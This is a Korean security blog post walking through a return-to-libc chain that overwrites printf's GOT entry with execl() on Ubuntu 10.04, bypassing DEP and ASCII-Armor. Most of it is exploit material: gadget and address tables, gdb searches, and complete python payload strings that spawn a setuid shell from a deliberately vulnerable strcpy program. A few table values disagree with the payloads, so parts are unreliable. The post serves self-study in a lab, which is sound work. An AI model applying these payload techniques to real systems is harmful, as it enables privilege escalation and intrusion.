티스토리 뷰
PLT&GOT 공격 (DEP, ASCII Armor 우회, PLT&GOT Overwrite 공격)
BAEKNAMU 2017. 3. 8. 21:13PLT&GOT 공격
(DEP, ASCII Armor 우회, PLT&GOT Overwrite 공격)
- Chaining RTL 공격을 위해 gadgets 연속적으로 활용.
- DEP + ASCiiArmor + ASLR 적용
[환경 요약]
OS |
Ubuntu 10.4 |
파일 |
/tmp/test4.c |
ASLR |
O (echo 1 > /proc/sys/kernel/randomize_va_space) |
ASCII-Armor |
O (라이브러리 시작주소 ‘00’ 설정) |
DEP(N/X) |
O (gcc -o test4 test4.c -fno-stack-protector -fno-builtin -mpreferred-stack-boundary=2) |
취약점 |
strcpy 함수 이용 |
*공격 시나리오
1. Chaining RTL 이용하여 BSS 주소에 “/tmp/sh” 문자 입력
2. Chaining RTL 이용하여 printf@got 공간에 execl()주소로 Overwrite.
3. BSS주소를 인자값을 전달하여 execl() 호출
DEP와 ASCii Armor를 우회하기 위해 printf@got에 shell을 실행시킬 execl()함수의 주소를 overwrite시켜 printf@plt를 호출하면 execl()가 실행된다.
인자 값을 입력할 수 없으므로 저장 가능한 BSS공간을 활용한다.
Chaining RTL : PPR Gadget (POP,POP,RET) 주소를 활용하여 함수를 연속적으로 호출할 수 있다.
Gadget 명령의 순서
SFP |
함수1 |
PPR |
인자1 |
인자2 |
함수2 |
PPR |
인자1 |
인자2 |
. . . |
AAAA |
Strspy() |
Gadget 주소 |
Overwrite할 주소 |
복사할 문자 주소 |
Strspy() |
Gadget 주소 |
Overwrite할 주소 |
복사할 문자 주소 |
… |
* 공격 전 준비사항
- /tmp/test4.c strcpy()를 이용한 bufferoverflow 취약한 프로그램 작성
- Buffer Dummy 계산
- /tmp/sh.c setuid(),system() 프로그램 작성.
- PPR 주소 검색.(POP, POP, RET)
- “/tmp/sh”문자열 저장할BBS 주소 검색
- '/','t','m','p','/','s','h','\x00' 문자의 주소 검색
Objdump를 이용하여 POP,POP,RET Gadget 검색 : objdump -d test5 | grep -B 3 ret
|
[그림 – ASCii Armor 적용 확인]
|
[그림 - /tmp/test4.c]
- 취약한 프로그램 작성.
|
[그림 - buf시작위치 확인]
Buf 시작 위치가ebp-0x64이므로 payload 입력시 “A”*100 + SBP(4byte) + RET(변조)
|
[그림 - /tmp/sh.c 소스]
|
[그림 – PPR Gadget 검색]
|
[그림 – BSS 영역 주소 확인]
- 0x0804a024 부터 0x0804a028 까지 .bss 영역임을 확인 할 수 있다. /tmp/sh 를 작성하기 위해 0x0804a03f 부터 0x0804a046까지 사용.
BSS 범위 : 0x0804a024 - 0x0804a028 (0x0804a03f 이후부터 사용) | ||
BSS 순서 | BSS 주소 | 인자값 |
BSS[0] | 0x0804a03f | "\x3f\xa0\x04\x08" |
BSS[1] | 0x0804a040 | "\x40\xa0\x04\x08" |
BSS[2] | 0x0804a041 | "\x41\xa0\x04\x08" |
BSS[3] | 0x0804a042 | "\x42\xa0\x04\x08" |
BSS[4] | 0x0804a043 | "\x43\xa0\x04\x08" |
BSS[5] | 0x0804a044 | "\x44\xa0\x04\x08" |
BSS[6] | 0x0804a045 | "\x45\xa0\x04\x08" |
BSS[7] | 0x08048146 | "\x46\xa0\x04\x08" |
|
[그림 - /tmp/sh 문자검색]
(gdb) find 주소범위,주소범위,’문자’ 명령어를 통해 /tmp/sh문자 검색
1. Chaining RTL 이용하여 BSS 주소에 “/tmp/sh” 문자 입력
(gdb) find find 0x08048154 , 0x0804a024,'/' (/tmp/sh 검색) |
||
문자 |
주소 |
인자값 |
‘/’ |
0x8048134 |
"\x34\x81\x04\x08" |
‘t’ |
0x8048241 |
"\x41\x82\x04\x08 |
‘m’ |
0x804823c |
"\x3c\x82\x04\x08" |
‘p’ |
0x8048265 |
"\x65\x82\x04\x08" |
‘/’ |
0x8048134 |
"\x34\x81\x04\x08" |
‘s’ |
0x8048142 |
"\x42\x81\x04\x08" |
‘h’ |
0x8048326 |
"\x26\x83\x04\x08" |
‘\x00’ |
0x8048146 |
"\x46\x81\x04\x08" |
BSS write Payload :
Strcpy@plt |
PPR |
인자1(BBS주소) |
인자2(“/tmp/sh”) |
0x8048340 |
0x080484b7 |
0x0804a03f |
0x8048134 (‘/’) |
0x8048340 |
0x080484b7 |
0x0804a040 |
0x8048241 (‘t’) |
0x8048340 |
0x080484b7 |
0x0804a041 |
0x804823c (‘m’) |
0x8048340 |
0x080484b7 |
0x0804a042 |
0x8048265 (‘p’) |
0x8048340 |
0x080484b7 |
0x0804a043 |
0x8048134 (‘/’) |
0x8048340 |
0x080484b7 |
0x0804a044 |
0x8048142 (‘s’) |
0x8048340 |
0x080484b7 |
0x0804a045 |
0x8048326 (‘h’) |
0x8048340 |
0x080484b7 |
0x0804a046 |
0x8048146 (‘\x00’) |
"`python -c 'print "a"*104+
"\x40\x83\x04\x08"+"\xb7\x84\x04\x08"+"\x3f\xa0\x04\x08"+"\x34\x81\x04\x08"+
"\x40\x83\x04\x08"+"\xb7\x84\x04\x08"+"\x40\xa0\x04\x08"+"\x41\x82\x04\x08"+
"\x40\x83\x04\x08"+"\xb7\x84\x04\x08"+"\x41\xa0\x04\x08"+"\x3c\x82\x04\x08"+
"\x40\x83\x04\x08"+"\xb7\x84\x04\x08"+"\x42\xa0\x04\x08"+"\x65\x82\x04\x08"+
"\x40\x83\x04\x08"+"\xb7\x84\x04\x08"+"\x43\xa0\x04\x08"+"\x34\x81\x04\x08"+
"\x40\x83\x04\x08"+"\xb7\x84\x04\x08"+"\x44\xa0\x04\x08"+"\x42\x81\x04\x08"+
"\x40\x83\x04\x08"+"\xb7\x84\x04\x08"+"\x45\xa0\x04\x08"+"\x46\x83\x04\x08"'`"
|
[그림 - BSS주소에 “/tmp/sh” 작성]
Chaining RTL 이용하여 printf@got 공간에 execl() 주소로 Overwrite.
|
[그림 – printf 주소 확인]
- printf@GOT 주소인 0x804a00c의 안에 값은 0x00177b00이다. 이 주소가 printf()주소 이므로 execl()주소로 Overwirte 하면 된다.
execl() 주소찾기 : 0x400c2390
(gdb) find find 0x08048154 , 0x0804a024,'execl주소1byte'
(\x90,\x23,\x0c,\x40)
검색 범위 : 0x08048154 , 0x0804a024
검색 범위 : 0x40000000 , 0x4001b000
|
||
문자
|
주소
|
인자값
|
‘\x90’
|
0x40012268
|
"\x68\x22\x01\x40"
|
\x23
|
0x4001081b
|
"\x1b\x08\x01\x40"
|
‘\x0c’
|
0x80484d2
|
"\xd2\x84\x04\x08"
|
‘\x40’
|
0x4001ae64
|
"\x64\xae\x01\x40"
|
|
[그림 – 검색범위 확인]
추가 검색범위로 읽기, 실행 가능한 부분 확인.
printf@GOT Overwrite Payload :
Strcpy@plt |
PPR |
printf@GOT주소 |
Execl()주소 |
0x8048340 |
0x080484b7 |
0x0804a00c |
0x40012268 (‘\x90’) |
0x8048340 |
0x080484b7 |
0x0804a00d |
0x4001081b (‘\x23’) |
0x8048340 |
0x080484b7 |
0x0804a00e |
0x080484d2 (‘\x0c’) |
0x8048340 |
0x080484b7 |
0x0804a00f |
0x4001ae64 (‘\x40’) |
"`python -c 'print "a"*104+
"\x40\x83\x04\x08"+"\xb7\x84\x04\x08"+"\x0c\xa0\x04\x08"+"\x68\x22\x01\x40"+
"\x40\x83\x04\x08"+"\xb7\x84\x04\x08"+"\x0d\xa0\x04\x08"+"\x1b\x08\x01\x40"+
"\x40\x83\x04\x08"+"\xb7\x84\x04\x08"+"\x0e\xa0\x04\x08"+"\xd2\x84\x04\x08"+
"\x40\x83\x04\x08"+"\xb7\x84\x04\x08"+"\x0f\xa0\x04\x08"+"\x64\xae\x01\x40"’`”
|
[그림 – printf@GOT 변조 확인]
마지막에 추가할 Payload: 함수 사용 예제 execl( "/bin/ls", "/bin/ls", NULL);
printf@PLT
|
dummy
|
BSS시작 주소
|
BSS시작 주소
|
NULL 주소
|
|||
0x8048350
|
AAAA
|
0x0804a03f
|
0x0804a03f
|
0x8048146
|
|||
Strcpy@plt
|
PPR
|
인자1
|
인자2
|
||||
0x8048340
|
0x080484b7
|
0x0804a03f (bbs[0])
|
0x8048134 (‘/’)
|
||||
0x8048340
|
0x080484b7
|
0x0804a040 (bbs[1])
|
0x8048241 (‘t’)
|
||||
0x8048340
|
0x080484b7
|
0x0804a041 (bbs[2])
|
0x804823c (‘m’)
|
||||
0x8048340
|
0x080484b7
|
0x0804a042 (bbs[3])
|
0x8048265 (‘p’)
|
||||
0x8048340
|
0x080484b7
|
0x0804a043 (bbs[4])
|
0x8048134 (‘/’)
|
||||
0x8048340
|
0x080484b7
|
0x0804a044 (bbs[5])
|
0x8048142 (‘s’)
|
||||
0x8048340
|
0x080484b7
|
0x0804a045 (bbs[6])
|
0x8048326 (‘h’)
|
||||
0x8048340
|
0x080484b7
|
0x0804a046 (bbs[7])
|
0x8048146 (‘\x00’)
|
||||
0x8048340
|
0x080484b7
|
0x0804a00c(printf@got)
|
0x40012268 (‘\x90’)
|
||||
0x8048340
|
0x080484b7
|
0x0804a00d(printf@got)
|
0x4001081b (‘\x23’)
|
||||
0x8048340
|
0x080484b7
|
0x0804a00e(printf@got)
|
0x080484d2 (‘\x0c’)
|
||||
0x8048340
|
0x080484b7
|
0x0804a00f(printf@got)
|
0x4001ae64 (‘\x40’)
|
||||
0x8048350(printf@plt)
|
AAAA
|
0x0804a03f(bss)
|
0x0804a03f (bss)
|
||||
0x8048146 (‘\x00’)
|
|
|
|
최종 Payload:
"`python -c 'print "a"*104+
"\x40\x83\x04\x08"+"\xb7\x84\x04\x08"+"\x0c\xa0\x04\x08"+"\x68\x22\x01\x40"+
"\x40\x83\x04\x08"+"\xb7\x84\x04\x08"+"\x0d\xa0\x04\x08"+"\x1b\x08\x01\x40"+
"\x40\x83\x04\x08"+"\xb7\x84\x04\x08"+"\x0e\xa0\x04\x08"+"\xd2\x84\x04\x08"+
"\x40\x83\x04\x08"+"\xb7\x84\x04\x08"+"\x0f\xa0\x04\x08"+"\x64\xae\x01\x40"+
"\x40\x83\x04\x08"+"\xb7\x84\x04\x08"+"\x3f\xa0\x04\x08"+"\x34\x81\x04\x08"+
"\x40\x83\x04\x08"+"\xb7\x84\x04\x08"+"\x40\xa0\x04\x08"+"\x41\x82\x04\x08"+
"\x40\x83\x04\x08"+"\xb7\x84\x04\x08"+"\x41\xa0\x04\x08"+"\x3c\x82\x04\x08"+
"\x40\x83\x04\x08"+"\xb7\x84\x04\x08"+"\x42\xa0\x04\x08"+"\x65\x82\x04\x08"+
"\x40\x83\x04\x08"+"\xb7\x84\x04\x08"+"\x43\xa0\x04\x08"+"\x34\x81\x04\x08"+
"\x40\x83\x04\x08"+"\xb7\x84\x04\x08"+"\x44\xa0\x04\x08"+"\x42\x81\x04\x08"+
"\x40\x83\x04\x08"+"\xb7\x84\x04\x08"+"\x45\xa0\x04\x08"+"\x26\x83\x04\x08"+
"\x40\x83\x04\x08"+"\xb7\x84\x04\x08"+"\x46\xa0\x04\x08"+"\x46\x81\x04\x08"+
"\x40\x83\x04\x08"+"\xb7\x84\x04\x08"+"\x47\xa0\x04\x08"+"\x46\x81\x04\x08"+
"\x50\x83\x04\x08"+"AAAA"+"\x3f\xa0\x04\x08"*2+"\x46\x81\x04\x08"'`"
|
[그림 – 최종 공격 성공]
Ubuntu 10.4 버전의DEP, ASCII-Armor 우회하기 위해 Chaining RTL 을 이용하여 PLT&GOT Overwrite 공격을 성공시킬 수 있다.
'Hacking > System Hacking' 카테고리의 다른 글
Format String Bug 공격 (0) | 2017.03.08 |
---|---|
RTL 공격(DEP 우회, 공유 라이브러리를 이용하여 공격) (0) | 2017.03.08 |
Buffer Overflow 환경변수 공격 (0) | 2017.03.08 |
Buffer Overflow Shell Code 이용 공격 (0) | 2017.03.08 |
[System Hacking] ShellCode 제작 (0) | 2017.02.25 |